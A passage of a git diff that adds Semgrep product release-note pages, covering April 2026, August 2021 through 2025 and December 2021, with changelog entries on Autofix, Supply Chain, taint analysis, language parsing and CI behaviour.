+* Fixed an issue where Autofix features were unavailable to organization **members**, as well as **admins**.
+* Fixed an issue where Autofix displayed a suggested fix for Supply Chain findings. Autofix is only applicable to Code findings.
+* Fixed an issue where Autofix errored out when attempting to open pull requests for Azure DevOps repositories. Semgrep now rejects these requests since Azure DevOps isn't supported.
+* Fixed an issue where Autofix errored out when handling requests involving archived repositories. Semgrep now rejects these requests and displays an error message accordingly.
+* Fixed an issue where some GitHub Enterprise users stopped seeing Autofix pull requests.
+* Fixed an issue where provisionally ignored findings couldn't be triaged without a comment provided.
+* Fixed Autofix pull request descriptions so that they properly display the user's GitHub username.
+* Fixed an issue with GitHub App permission checks, which had been using app manifest permissions, or what the app declares, instead of installation-level permissions, or what was actually granted, causing the **Autofix** button to be incorrectly hidden or shown.
+* Fixed performance issues during the parsing of Semgrep rules containing non-BMP Unicode characters
+* **Scala**:
+ * Fixed an issue with trait parameters in versions 3.4.x and later so that they are now parsed correctly.
+ * Fixed an issue where Semgrep failed silently instead of returning an error when target file discovery fails.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+* Added reachability coverage for Rust.
+* Supply Chain advisories now have dedicated detail pages, replacing the previously used drawers.
+* Added dependency path information to the SBOM exports and the Issues API endpoint.
+
+### Fixed
+
+* Fixed an issue with legacy Supply Chain findings URLs that resulted in the findings page showing zero results.
+* Fixed the **Dependencies** filter on the **Findings** page so that exact matches rank above all other matches.
+* Fixed the advisory ID search so that it is case-insensitive.
+* Fixed an issue where the Autofix API endpoints accepted pull requests for issues that were already fixed, removed, or ignored.
+
+## 🤖 Semgrep Multimodal
+
+### Added
+
+* Added IAM role-assumption authentication mode for AWS Bedrock BYOK. In addition to static access keys, users can now configure an IAM role ARN and grant Semgrep cross-account access using the generated external ID.
+
+### Changed
+
+* Findings of **critical** or **high** severity with **high** or **medium confidence** identified during diff-aware scans are now included in autotriage analysis.
+* The memory creation dialog now prompts users to create specific, named memories, such as "`ConfigService` is an internal backend service" rather than generic, conditional memories.
+
+### Fixed
+
+* Fixed an issue with pull request comment URL construction for tag-scoped and deployment-wide memories that previously resulted in no pull request comments being posted.
+
+## 🔧 Semgrep Community Edition
+
+- The following versions of Semgrep Community Edition were released in April 2026:
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/august-2021.mdx b/mintlify-docs/release-notes/august-2021.mdx
new file mode 100644
index 0000000000..79a9c0e8c2
--- /dev/null
+++ b/mintlify-docs/release-notes/august-2021.mdx
@@ -0,0 +1,47 @@
+---
+title: "August 2021"
+description: "August 30, 2021 · 1 min read"
+rss: true
+---
+
+
+## Version 0.63.0
+
+### Additions
+
+- C#: support ellipsis in declarations ([#3720](https://github.com/semgrep/semgrep/pull/3720))
+
+### Fixes
+
+- Hack: improved support for metavariables ([#3716](https://github.com/semgrep/semgrep/pull/3716))
+- Dataflow: Disregard type arguments but not the entire instruction
+
+### Changes
+
+- Optimize ending ... in pattern-insides to simply match anything left
+
+## Version 0.62.0
+
+### Additions
+
+- OCaml: support module aliasing, so looking for List.map will also find code that renamed List as L via module L = List.
+- Add help text to sarif formatter output if defined in metadata field.
+- Update shortDescription in SARIF formatter output if defined in metadata field.
+- Add tags as defined in metadata field in addition to the existing tags.
+
+### Fixes
+
+- core: fix parsing of numeric literals in rule files
+- Java: fix the range and autofix of Cast expressions ([#3669](https://github.com/semgrep/semgrep/issues/3669))
+- Generic mode scanner no longer tries to open submodule folders as files ([#3701](https://github.com/semgrep/semgrep/pull/3701))
+- pattern-regex with completely empty files ([#3705](https://github.com/semgrep/semgrep/issues/3705))
+- --sarif exit code with suppressed findings ([#3680](https://github.com/semgrep/semgrep/issues/3680))
+- Fixed fatal errors when a pattern results in a large number of matches
+- Better error message when rule contains empty pattern
+
+### Changes
+
+- Add backtrace to fatal errors reported by semgrep-core
+- Report errors during rule evaluation to the user
+- When and-ed with other patterns, pattern: $X will not be evaluated on its own, but will look at the context and find $X within the metavariables bound, which should be significantly faster
+
diff --git a/mintlify-docs/release-notes/august-2022.mdx b/mintlify-docs/release-notes/august-2022.mdx
new file mode 100644
index 0000000000..5f787c6baa
--- /dev/null
+++ b/mintlify-docs/release-notes/august-2022.mdx
@@ -0,0 +1,56 @@
+---
+title: "August 2022"
+description: "August 30, 2022 · 3 min read"
+rss: true
+---
+
+
+## Semgrep App
+
+### Additions
+
+- Azure Pipelines CI configuration is now available when adding a new repository to Semgrep App for scanning. Users can select **Azure Pipelines** from within the App, and Semgrep generates a code snippet that users can copy and commit to their configuration file to set up their CI job.
+- Users can now delete projects in bulk (also known as batch delete) from Semgrep App's interface. To do this, sign in to **Semgrep App** > **Projects**, and click **Edit Projects**.
+- Users can now see usage limits in **Semgrep App** > **Settings**.
+
+## Semgrep CLI
+
+These release notes include upgrades for versions ranging between 0.108.0 and 0.111.0.
+
+### Additions
+
+- Semgrep now provides experimental support for the **Swift** language. See all languages that Semgrep supports in [Supported languages](/supported-languages).
+- Add configuration options for using the tree-sitter library installed anywhere on the system.
+- Metrics now include language-aggregated parse rates (files, bytes). The purpose of this is to continue with parsing improvements. See [Semgrep privacy policy](/metrics) for more details.
+- Semgrep CI now accepts more formats of Git URLs for metadata that are sent to semgrep.dev. This work in progress functionality enables working links from the Semgrep App Findings page. The user provides a fallback for repository name (`SEMGREP_REPO_NAME`) and repository URL (`SEMGREP_REPO_URL`) if these values are undefined by the CI job. We appreciate any bug reports or suggestions as this feature is still in development.
+
+### Changes
+
+- Previously, the following error message appeared when metrics have not been uploaded within the set timeout timeframe:
+ ```
+ Error in send: HTTPSConnectionPool(host='metrics.semgrep.dev', port=443): Read timed out. (read timeout=3)
+ ```
+ As this caused confusion when running the CLI, this message is now displayed for development and debugging purposes only. Note that metrics are still successfully uploaded, but the success status is not sent in time for the current timeout set.
+
+- `semgrep ci` now defaults to fail open on internal errors and always exits with exit code 0, which is equivalent to passing `--suppress-errors`. To disable this behavior, you can pass `--no-suppress-errors`, surfacing all exit codes to the CI provider. See [Configuring blocking findings and errors](/semgrep-ci/configuring-blocking-and-errors-in-ci) for more information.
+
+#### Additional information
+
+Minor bug fixes are not included in the release notes unless they are potentially breaking your workflow. To see the complete change notes for Semgrep CLI and CI that include fixes, visit the [Semgrep changelog](https://github.com/semgrep/semgrep/releases/).
+
+## Documentation updates
+
+- Consistent and exhaustive documentation about continuous integration (CI) both with and without Semgrep App:
+ - [Running Semgrep in continuous integration (CI) with Semgrep App](/deployment/core-deployment)
+ - [Running Semgrep in continuous integration (CI) without Semgrep App](/deployment/oss-deployment)
+- Experimental taint propagators allow you to specify additional structures through which taint propagates. See how to use them in the [Propagators](/writing-rules/data-flow/taint-mode/overview#propagators-) section.
+- Updated [Generic pattern matching](/writing-rules/generic-pattern-matching) documentation, rewritten examples, and added new sections, including a new [Handling line-based input](/writing-rules/generic-pattern-matching/#handling-line-based-input) section.
+- Introduced interface and color changes to fit new [semgrep.dev](https://semgrep.dev/) website design.
+- Report vulnerabilities that Semgrep should have found, but did not. You can report these false negatives directly from your command-line using a built-in Semgrep flag. See [Reporting false negatives with shouldafound](/reporting-false-negatives) article.
+- Contribution documentation now provides [Adding python packages to `semgrep`](/contributing/semgrep-contributing/#add-python-packages-to-semgrep) section.
+- Updated and rewritten [Diff-aware scanning (SEMGREP_BASELINE_REF)](/semgrep-ci/ci-environment-variables#semgrep_baseline_ref) section.
+- Updated fail open CI documentation in [Configuring blocking findings and errors](/semgrep-ci/configuring-blocking-and-errors-in-ci) section.
+- Added section about [`patterns` operator evaluation strategy](/writing-rules/rule-syntax/#patterns-operator-evaluation-strategy).
+- Updated adding [Slack notifications section in Notifications](/semgrep-appsec-platform/slack-notifications) article, and updated **Integrating Semgrep App with third-party tools**
+- Many other updates and fixes have been introduced to the documentation website.
+
diff --git a/mintlify-docs/release-notes/august-2023.mdx b/mintlify-docs/release-notes/august-2023.mdx
new file mode 100644
index 0000000000..60db9d9b41
--- /dev/null
+++ b/mintlify-docs/release-notes/august-2023.mdx
@@ -0,0 +1,174 @@
+---
+title: "August 2023"
+description: "July 30, 2023 · 8 min read"
+rss: true
+---
+
+
+## Semgrep OSS Engine
+
+
+**CAUTION**
+
+Semgrep version 1.38.0 removed some features. This change may break your Semgrep workflows. See [Semgrep OSS > Removed](#removed) for more information.
+
+
+This section of release notes includes upgrades of Semgrep OSS Engine for versions between **1.35.0** and **1.38.3**.
+
+### Added
+
+- Added optional `min-version` and `max-version` fields for a Semgrep rule, specifying a range of compatible Semgrep versions.
+ - If a rule is incompatible with the version of Semgrep being used, it is reported in the JSON output at the newly added `info` level, which doesn't cause an exit failure. ([#8496](https://github.com/semgrep/semgrep/pull/8496/))
+- The `semgrep scan` command is now more resilient to failures when fetching a configuration file (config) from Semgrep servers.
+ - If it can't fetch a config from Semgrep servers it will use backup infrastructure to fetch the most recent successful config for that customers environment. ([#8459](https://github.com/semgrep/semgrep/pull/8459/))
+- `metavariable-comparison`: You can now use `in` and `not in` for strings in the same sense as in Python, for substring checking. ([#2979](https://github.com/semgrep/semgrep/pull/8406))
+- The CLI now collects the commit timestamp when running `semgrep ci`.
+- Added support for languages with case insensitive identifiers and generalized PHP to use these case insensitive identifiers.
+ - For example, in PHP the pattern `MyClass()` now matches calls with different capitalizations such as `myclass()` and `Myclass()`. ([#8356](https://github.com/semgrep/semgrep/pull/8356))
+- **Julia:** Added the deep expression operator. Now you can write patterns such as `foo(<... 42 ...>)` to find instances of calls to `foo` that contain `42` somewhere inside of it. ([#8540](https://github.com/semgrep/semgrep/pull/8540))
+
+### Fixed
+
+- Fixed `--text` and `--output` flags which broke in 1.38.0. If you are using version 1.38.0, update Semgrep to receive these fixes.
+- Converted all '@r2c.dev' email addresses to '@semgrep.com'. Several error messages displayed outdated email addresses. With this fix, you can now see in the CLI the correct email to reach out to the Semgrep Support team, which is [support@semgrep.com](mailto:support@semgrep.com). ([#8446](https://github.com/semgrep/semgrep/pull/8446))
+- Fixed CLI output to display matches from different rules with the same message. Now you are able to see the rule ID granularly even if two rules have the same rule message. ([#8557](https://github.com/semgrep/semgrep/pull/8557))
+- Semgrep PyPI package can now be installed on **aarch64 libmusl** platforms such as Alpine. (gh-8565)
+- Improved the `--max-memory` help description to make it clearer. Its previous message, "Defaults to 0 for all CLI scans," did not convey that the default is 0 for all scans except when using Semgrep Pro Engine in CI scans. The default is 5000MiB for Semgrep Pro Engine CI scans, defined as:
+ - Any scan using the `semgrep ci --pro` command, whether in a local environment or a CI/CD pipeline.
+ - Any scan using the `semgrep ci` command with Pro Engine enabled in Semgrep Cloud Platform for the org whose repositories you are scanning.
+- Fixed a regression introduced three years ago in 0.9.0, when optimizing the evaluation of the ellipsis operator `...` to be faster. The ellipsis only matched deeply, such as inside an if block, if it did not match anything non-deeply, thus causing that this pattern:
+ ```
+ foo()
+ ...
+ bar($A)
+ ```
+ would only produce a single match rather than two on this code:
+ ```
+ foo()
+ if cond:
+ bar(x)
+ bar(y)
+ ```
+ Semgrep matched from `foo()` to `bar(y)` and because of that it did not try to match inside the `if`, thus there was no match from `foo()` to `bar(x)`. However, commenting out `bar(y)`, results in Semgrep matching `bar(x)`. Semgrep now produces the two expected matches. ([#8440](https://github.com/semgrep/semgrep/pull/8440))
+- **Semgrep VSCode Extension:** Semgrep Language Server Protocol (LSP) is now compiled with `tls`. It should no longer cause crashes when running the Semgrep VSCode extension.
+- **PromQL:** make aggregation labels independent of order. ([#8399](https://github.com/semgrep/semgrep/pull/8399)).
+ For example:
+ ```
+ "sum by (..., b, a, c, ...) (X)"
+ ```
+ should match
+ ```
+ "sum by (a,b,c) (X)"
+ ```
+- **Julia:** Fixed a bug where `let end` blocks were not being parsed correctly, causing their contents to not strictly match while inside of a block. For example, `let ... end` didn't count as being inside of the `let` block, and would match everything. ([#8569](https://github.com/semgrep/semgrep/issues/8569))
+- **Julia:** correctly parse `BitOr` and `BitAnd` ([#8449](https://github.com/semgrep/semgrep/issues/8449))
+- **Julia:** Fixed a bug where parenthesized expressions sometimes did not match in constructs such as metavariable-comparison. ([#8444](https://github.com/semgrep/semgrep/issues/8444))
+- **Julia:** Type information from declarations can now be used in metavariable-type. For instance, the program:
+ ```
+ x :: Int64 = 2
+ ```
+ now allows uses of x to match to the type Int64. ([#8470](https://github.com/semgrep/semgrep/issues/8470))
+- **Julia:** Metavariables are now able to appear anywhere that identifiers can. For instance, they were not able to appear as the argument to a `do` block. ([#8486](https://github.com/semgrep/semgrep/issues/8486)) Now, you can write patterns such as:
+```
+map($Y) do $X
+ ...
+end
+```
+- **Java:** Fixed a naming bug affecting Java and other object-oriented (OO) languages that allowed a method parameter to shadow a class attribute. For example, in:
+ ```
+ class Test {
+
+ private int x;
+
+ public void test2(int x) {
+ foo(this.x);
+ }
+
+ }
+ ```
+ Semgrep was considering that `this.x` referred to the parameter `x` of `test2` rather than to the class attribute `x`. ([#8508](https://github.com/semgrep/semgrep/pull/8508))
+
+
+### Changed
+
+- Running the `semgrep` command with no subcommand now displays the help message. Previously, the `semgrep` command ran a SAST scan by default.
+
+### Removed
+
+- `python -m semgrep` has been removed. Instead, invoke Semgrep directly by entering `semgrep` in the CLI.
+- Semgrep no longer looks for a `.semgrep.yml` config file or `.semgrep/` in the current directory, which previously caused conflicts when invoking `semgrep` from your home directory. This is because the home directory can contain a `.semgrep/settings.yml` file that is not a Semgrep rule, despite Semgrep expecting a rule file. ([#4457](https://github.com/semgrep/semgrep/issues/4457))
+ - The preferred method to run rules is to explicitly pass rules through the `--config` option. For example, to run a `.semgrep.yml` file containing rules, you must enter `semgrep --config .semgrep.yml`.
+- If you previously wrapped Semgrep Python code by calling `semgrep_main.main`, you must replace the previous call with `run_scan.run_scan`. Note that these Python calls will be removed in the future.
+- `--enable-metrics` and `--disable-metrics` have been removed. Instead, use any of the following:
+ - `--metrics=on`
+ - `--metrics=off`
+ - `--metrics=auto`
+
+## Semgrep Pro Engine
+
+### Fixed
+
+- **JavaScipt (JS) or TypeScript (TS) taint mode:** fixed a bug introduced in 1.33.1 that had the side-effect of hurting performance of taint rules on JS or TS repositories that used destructuring in a function's formal parameters.
+
+## Semgrep Cloud Platform
+
+### Added
+
+- The `semgrep ci` command now displays enabled products when the scan config is generated from Semgrep Cloud Platform. Additionally, if no products are enabled then a friendly error is raised and the scan is stopped. You must enable a product in Semgrep **Cloud Platform > Settings** to start a scan.
+- You can now remove your SSO configuration. Previously, you had to reach out to [support@semgrep.com](mailto:support@semgrep.com) to remove an SSO configuration. To remove your SSO configuration, go to **[Settings > Access > SSO](https://semgrep.dev/orgs/-/settings/)**.
+- **Projects page:** Added a **Sync projects** button which enables you to synchronize your Semgrep projects with your SCM. This enables you to onboard projects faster to the Semgrep Cloud Platform and ensure all your repositories are represented and available for scanning.
+
+## Semgrep Code
+
+### Added
+
+- **Rules page:** Added a new view, **Group by vulnerability class**, that is the default view within the Rules page.
+- Added a **last updated** attribute to rule cards. This helps you troubleshoot unexpected findings in unchanged configs.
+- Added a ** Copy rule** button within the rule popup.
+
+## Semgrep Supply Chain
+
+### Added
+
+- Added **lockfile-only rules** for the following languages:
+ - C#
+ - PHP
+
+### Fixed
+
+- **PNPM:** Fixed a bug where dependencies in `pnpm-lock.yaml` at version 6.0 and up were not parsed.
+- **Gradle:** Fixed an issue where packages in `build.gradle` files had their names incorrectly parsed without their group ID.
+
+### Removed
+
+- Removed the ability to turn off scanning with lockfile-only rules. Moving forward, lockfile-only rules are included in all full scans.
+
+## Semgrep Assistant (beta)
+
+### Fixed
+
+- **GitHub:** Fixed a bug in which you could receive duplicate PR comments if you had installed more than one instance of `semgrep-app`.
+- **Slack notifications:** Previously, clicking the **Agree** button in a Slack Assistant message did not triage the original issue created. Now, if Semgrep Assistant suggests that a finding is safe to ignore, clicking Agree also triages the finding to Ignored.
+- Various bugfixes and improvements.
+
+## Documentation and knowledge base updates
+
+### Added
+
+- Added a section on Semgrep Code's [deduplication behavior in the API](/semgrep-code/remove-duplicates) and expanded on deduplication behavior in Semgrep Cloud Platform.
+- A new section has been added to guide you through [infrastructure-specific configuration when setting up Semgrep Cloud Platform](/semgrep-supply-chain/setup-infrastructure) for the first time.
+- Added section on how a future [change in a Semgrep Supply Chain rule affects scan behavior](/semgrep-supply-chain/getting-started/#schedule-scans).
+- Added a section describing how SSC's License compliance feature handles [packages with multiple licenses](/semgrep-supply-chain/license-compliance/#multiple-license-types).
+- Added the following knowledge base article:
+ - [Matching multiple tokens with ellipsis metavariables](/kb/rules/ellipsis-metavariables)
+
+### Changed
+
+- The [Getting started with Semgrep Cloud Platform](/deployment/core-deployment) page has been rewritten to help you onboard yourself, your team or organization, and your repositories to SCP.
+- Prefer the `semgrep ci` command to execute Semgrep in several quickstart and getting started guides.
+- Updated Supported languages table for Swift, Rust, and Apex.
+
+### Removed
+
+- **Rule board documentation** has been removed. Refer to the [Policies](/semgrep-code/policies) documentation for information on rule management in Semgrep Cloud Platform.
+
diff --git a/mintlify-docs/release-notes/august-2024.mdx b/mintlify-docs/release-notes/august-2024.mdx
new file mode 100644
index 0000000000..74137e6950
--- /dev/null
+++ b/mintlify-docs/release-notes/august-2024.mdx
@@ -0,0 +1,126 @@
+---
+title: "August 2024"
+description: "July 30, 2024 · 5 min read"
+rss: true
+---
+
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- A new **primary branch** feature is now generally available (GA)! This feature lets you set your repository's default branch; typically Semgrep deployments perform full scans only on default branches. Previously, Semgrep automatically detected primary branches through a list of common names, such as `main` or `master`, but now you can set it to any unique name your organization may use, such as `prod-1`. [Read the documentation](/deployment/primary-branch).
+- **Semgrep Managed Scans and Semgrep in CI**: You can now view logs of all scans by going to the project's **Details** page. {/* 15974 */}
+- **Jira**:
+ - Added multi-label support when creating Jira tickets. Use a comma to delineate labels.
+ - Added Jira ticket information to information returned from the Findings API.
+- Added initial page state for **Project > Details > Scans** tab. {/* 15805 */}
+
+### Changed
+
+- Various improvements and updates to the Semgrep pricing page. {/* 16210 */}
+- Improvements to tooltips, help text, and icons in the **Projects** and **Findings** pages. {/* 16246, 16186, 16058 */}
+- **Semgrep Managed Scans**: Improved error messages to users when clicking **Run a new scan** from the **Projects > Details** page. Now you are better equipped to troubleshoot issues with managed scans. {/* 16025 */}
+- Updated the Buildkite CI configuration template. {/* 15932 */}
+- **Code search**: YAML is now validated in the search step and invalid YAML is caught when viewing results. {/* 15886 */}
+
+### Fixed
+
+- **Jira**: Fixed a bug which prevented error messages from appearing in tooltips when Jira tickets failed to be created. Now, you can see detailed error messages letting you know what went wrong when a Jira ticket is not successfully created through Semgrep. {/* 16259 */}
+- Fixed a regression in which clicking outside of the **Findings** page filter component did not clear all filters.
+- Various copy edits to the Dashboard (beta) page. {/* 16176 */}
+- Fixed an issue in which untriaged findings could be marked as reopened when creating Jira tickets from the **Finding details** page. {/* 15969 */}
+- Fixed a bug in which the **Dashboard** did not display the correct number of findings. {/* 15935*/}
+
+## 💻 Semgrep Code
+
+### Added
+
+- **Docker**: Semgrep ellipses `...` are now allowed in patterns for `HEALTHCHECK` commands.
+- **Terraform**: Added support for `.tfvars` files. {/* SAF-1481 */}
+
+### Changed
+
+- Semgrep CLI's `--debug` flag no longer generates profiling information, including time and scan performance measurements. To obtain this information, use `--time`.
+
+### Fixed
+
+- Fixed an error with Julia list comprehensions. For example, the pattern `[$A for $B in $C]` matches `[x for y in z]` and result in three bindings `[$A/x,$B/y,$C/z]` instead of one `[$A/x]`.
+- Fixed an issue resulting in deadlock when a scan has interfile analysis and tracing enabled and the number of subprocesses is greater than 1 (`j < 1`). {/* SAF-1157 */}
+- Fixed an issue where the number of files reported as scanned by Semgrep CLI was inflated due double-counting of generic and regex modes. {/* SAF-507 */}
+- `--debug` now generates fewer log entries. Additionally, when the number of ignored files, rules, or other entities is too large, Semgrep indicates this in the logs with `` to keep the output minimal.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- You can now filter and view EPSS scores for your Supply Chain findings.
+
+### Changed
+
+- The link to the Supply Chain findings page in Semgrep AppSec Platform filters to the specific repository and `ref` on which the findings are detected.
+
+### Fixed
+
+- Fixed an issue where Supply Chain's Findings Detail pages weren't showing detailed error information.
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- Assistant Memories is now in public beta. This feature allows you to tailor Assistant's remediation guidance to your organization's standards and defaults on a per-project, per-rule basis.
+- Added the ability for you to use your own OpenAI API key instead of Semgrep's. This allows you to have complete control over how OpenAI handles your data.
+- Added the ability to query for Assistant's remediation guidance via the [Findings API](https://semgrep.dev/api/v1/#tag/Finding/operation/semgrep_app.core_exp.findings.handlers.issue.openapi_list_recent_issues).
+
+## 🔐 Semgrep Secrets
+
+### Changed
+
+- The **Secrets** page in Semgrep AppSec Platform has been updated to match those for Semgrep Code and Semgrep Supply Chain.
+- Secrets findings no longer display code snippets, even if the user has granted Semgrep code access.
+- Secrets is no longer self-serve. To access Semgrep Secrets, you can contact your Semgrep account executive for a trial license.
+
+### Fixed
+
+- Fixed an issue that caused files ignored by Semgrep Code, but not Semgrep Secrets, fail to be scanned by Semgrep Secrets. {/* SAF-1459 */}
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Documentation for providing your [own OpenAI API key](/semgrep-multimodal/customize#openai-api-with-your-own-key) for use with Semgrep Assistant.
+- EPSS documentation.
+- Sections for various source code manager additions, such as:
+ - Support for multiple GitHub Enterprise Server organizations.
+ - MR comments for multiple GitLab groups.
+- Documentation specifying which features make use of the [IP addresses](/deployment/checklist#ip-addresses) that you must add to your allowlist when you deploy Semgrep.
+
+### Changed
+
+- Various improvements to the **[Network broker documentation](/semgrep-ci/network-broker)**, such as:
+ - Improved logging guidance.
+ - Clarified variable names and placeholder values that users should replace.
+- Various updates to [Editor documentation](/semgrep-code/editor) as a whole.
+- Various updates to [Semgrep Assistant](/semgrep-multimodal/overview) documentation.
+- Updated Semgrep Supply Chain documentation to reflect the latest product UI/UX state.
+
+### Fixed
+
+- Updated and fixed various broken links.
+- Minor typographical fixes.
+
+### Removed
+
+- Removed the Ticketing page; Semgrep supports Jira exclusively. Other ticketing integration betas have been closed. Semgrep may reopen beta programs for future ticketing integrations.
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in August 2024:
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/august-2025.mdx b/mintlify-docs/release-notes/august-2025.mdx
new file mode 100644
index 0000000000..904d02c338
--- /dev/null
+++ b/mintlify-docs/release-notes/august-2025.mdx
@@ -0,0 +1,84 @@
+---
+title: "August 2025"
+description: "September 3, 2025 · 3 min read"
+rss: true
+---
+
+The following updates were made to Semgrep in August 2025.
+
+## 🌐 Semgrep AppSec Platform
+
+### Changed
+
+- **Jira:**
+ - The labels `Malicious Dependency` and `Non-malicious Vulnerability` have been changed to `Malicious Dependency` and `Not Malicious`, respectively.
+ - Jira tickets created for malicious dependency findings now include more prominent visuals, such as bolded rule messages, to help them stand out from other reachable findings.
+ - The maximum number of findings associated with a specific Jira ticket has increased from 50 to 75.
+- You can now connect to your GitHub repositories without needing to contact Semgrep Support, even if you don't use GitHub as your SSO provider with Semgrep.
+- You can now view a project's details page while the scan is still in progress.
+
+### Fixed
+
+- Semgrep now maintains connectivity to repositories that you move from one GitHub organization to another.
+- Bitbucket pull request comments from Semgrep now display with correct formatting.
+
+## 💻 Semgrep Code
+
+### Added
+
+- Added support for interfile analysis for Scala projects.
+- Added a timeout to Semgrep's internal HTTP requests to prevent remote endpoints from indefinitely hanging the Semgrep engine.
+- Improved pre-filtering for interfile rules enables the Semgrep engine to detect and skip unnecessary interfile rules earlier in the scan process.
+- When a segmentation fault is encountered, Semgrep now displays backtraces with function names, filenames, and line numbers when available.
+- **PHP:**
+ - When enabling the option `taint_assume_safe_booleans`, the return values of
+`boolval`, `is_bool`, and `||` are considered safe.
+ - When enabling `taint_assume_safe_numbers`, the return values of `intval`,
+ `floatval`, `+`, `-`, `*`, `/`, and `%` are considered safe.
+
+### Changed
+
+- Semgrep scans no longer attempt to parse `tsconfig` files for non-TypeScript scans.
+- **CLI**: the `--json` output of Semgrep's CLI now includes a `time` field or `time` object with profiling data.
+
+### Fixed
+
+- Fixed incorrect YAML parsing of strings like `nan`, where the strings were interpreted as a float instead of a string.
+- Fixed a bug that prevented taint tracking through `new` in Java projects.
+- Semgrep now substitutes metavariables for their values in a deterministic order to
+ensure keys for match-based IDs are stable.
+- Error messages are logged, but not displayed as pop-ups in IDEs.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Supply Chain's reachability analysis now covers all high and critical severity CVEs in Python packages from supported sources starting 2017 and onward.
+- Supply Chain policies now support the exclusion of conditions. For example, you can define a condition such as `When Reachability is not Always reachable`.
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- Added support for the use of custom AWS Bedrock keys.
+
+## 🔐 Semgrep Secrets
+
+### Added
+
+- Semgrep now logs the amount of time required for the HTTP request to complete when validating Secrets in the debug logs.
+
+### Changed
+
+- Semgrep Secrets no longer allows more than 256 outstanding validations at any given time.
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in August 2025:
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/december-2021.mdx b/mintlify-docs/release-notes/december-2021.mdx
new file mode 100644
index 0000000000..8c8abd53c8
--- /dev/null
+++ b/mintlify-docs/release-notes/december-2021.mdx
@@ -0,0 +1,149 @@
+---
+title: "December 2021"
+description: "December 31, 2021 · 4 min read"
+rss: true
+---
+
+
+## Version 0.77.0
+
+### Highlights
+
+#### Semgrep CLI and Semgrep CI now ignore the same patterns
+
+With this update, Semgrep CLI now ignores the same patterns as the Semgrep CI by default. Find [the default .semgrepignore on GitHub](https://github.com/semgrep/semgrep/blob/develop/cli/src/semgrep/templates/.semgrepignore). If you want to return to Semgrep’s previous behavior, create an empty `.semgrepignore` file. However, creating a new `.semgrepignore` overrides the default setup.
+
+#### Autofix improvement
+
+An autofix improvement from [https://github.com/chair6](https://github.com/chair6) from Hashicorp! Big shoutout to them. Fixes several issues (auto fixing multiple things in the same set of lines). This change addresses several issues related to autofix by adding per-file line and column offset tracking, and uses those offsets when making edits to files. The improvement addresses several edge cases in the existing autofix implementation that Semgrep did not handle correctly previously. The addressed issues are the following: [#4428](https://github.com/semgrep/semgrep/issues/4428), [#3577](https://github.com/semgrep/semgrep/issues/3577), [#3388](https://github.com/semgrep/semgrep/issues/3388).
+
+### Additions
+
+#### Scala
+
+Semgrep now correctly matches patterns as `List(...)`.
+
+#### `.semgrepignore`
+
+Default set of `.semgrepignore` patterns (in `semgrep/templates/.semgrepignore`) is now used by default. You can override the default behavior by creating your own `.semgrepignore` file.
+
+#### Java
+
+You can now use ellipsis metavariables for parameters. ([#4420](https://github.com/semgrep/semgrep/issues/4420))
+
+### Fixes
+
+The fixed section now remains only as changelog notes. To see the changelog notes, visit [Semgrep changelog](https://github.com/semgrep/semgrep/releases/tag/v0.77.0).
+
+### Changes
+
+#### Constant propagation
+
+Constant propagation is now fully a must analysis, if a variable is undefined in some path then it is considered as a non-constant.
+
+#### Dataflow
+
+Dataflow now considers only reachable nodes, which prevents some false-positive or false-negative findings.
+
+#### The `--time` option now includes time spent on processing
+
+With this update, Semgrep's `--time` option output includes the time spent on getting the configs, running the matching engine, and processing of ignores.
+
+#### semgrep-core improvement
+
+The semgrep-core logs a warning when a worker process is consuming above 400 MiB of memory or reaches 80% of the specified memory limit. This change is made to help diagnose out of memory (OOM) related crashes.
+
+#### Additional information
+
+To view the original release information, see [the changelog of this release on GitHub](https://github.com/semgrep/semgrep/releases/tag/v0.77.0).
+
+## Version 0.76.2
+
+### Additions
+
+#### Support for Solidity
+
+Semgrep now provides experimental support for the Solidity programming language.
+
+### Fixes
+
+#### Python
+
+Comprehension variables now have the correct scope, which means that a pattern like `[$X for $X in $ITERATOR]` now correctly matches `[v for v in foo()]`. ([#4260](https://github.com/semgrep/semgrep/issues/4260))
+
+#### Semgrep reports relative file paths with `.semgrepignore`
+
+Previously, when you used Semgrep with `.semgrepignore` file, Semgrep reported targets with absolute instead of relative file paths. This issue has now been fixed. ([#4402](https://github.com/semgrep/semgrep/pull/4402))
+
+#### Additional information
+
+To view the original release information, see [the changelog of this release on GitHub](https://github.com/semgrep/semgrep/releases/tag/v0.76.2).
+
+## Version 0.76.1
+
+### Fixes
+
+#### `.semgrepignore`
+
+Previously, when you used Semgrep with a `.semgrepignore` file, Semgrep failed to run on files that were not subpaths of the directory where Semgrep was used.
+
+## Version 0.76.0
+
+### Additions
+
+#### Improved filtering of rules
+
+Semgrep now has improved filtering of rules based on file content, resulting in notable speedup for NodeJsScan rules.
+
+#### Semgrep CLI
+
+Semgrep CLI now respects `.semgrepignore` files. For more information about ignoring files, see [Semgrep documentation](/cli-reference/#ignore-files).
+
+#### Java support improvement
+
+Semgrep now supports ellipsis in generics, for example: `class Foo<...>` ([#4335](https://github.com/semgrep/semgrep/issues/4335))
+
+### Fixes
+
+#### Java
+
+When you use Semgrep to search for patterns that do not specify generics, Semgrep now also matches classes that are using generics. For example: `class $X {...}` which is not specifying generics, now matches `class Foo { }`. ([#4335](https://github.com/semgrep/semgrep/issues/4335))
+
+#### TypeScript
+
+Semgrep now correctly parses TypeScript type definitions. ([#4330](https://github.com/semgrep/semgrep/issues/4330))
+
+#### taint-mode
+
+Semgrep taint-mode now reports findings when the Left Hand Side (LHS) operand of an access operator is a sink (for example as in `$SINK->method`), and the LHS operand is a tainted variable. ([#4320](https://github.com/semgrep/semgrep/issues/4320))
+
+#### metavariable-comparison
+
+Semgrep metavariable-comparison does not return a `NotHandled` error anymore. ([#4328](https://github.com/semgrep/semgrep/issues/4328))
+
+#### semgrep-core
+
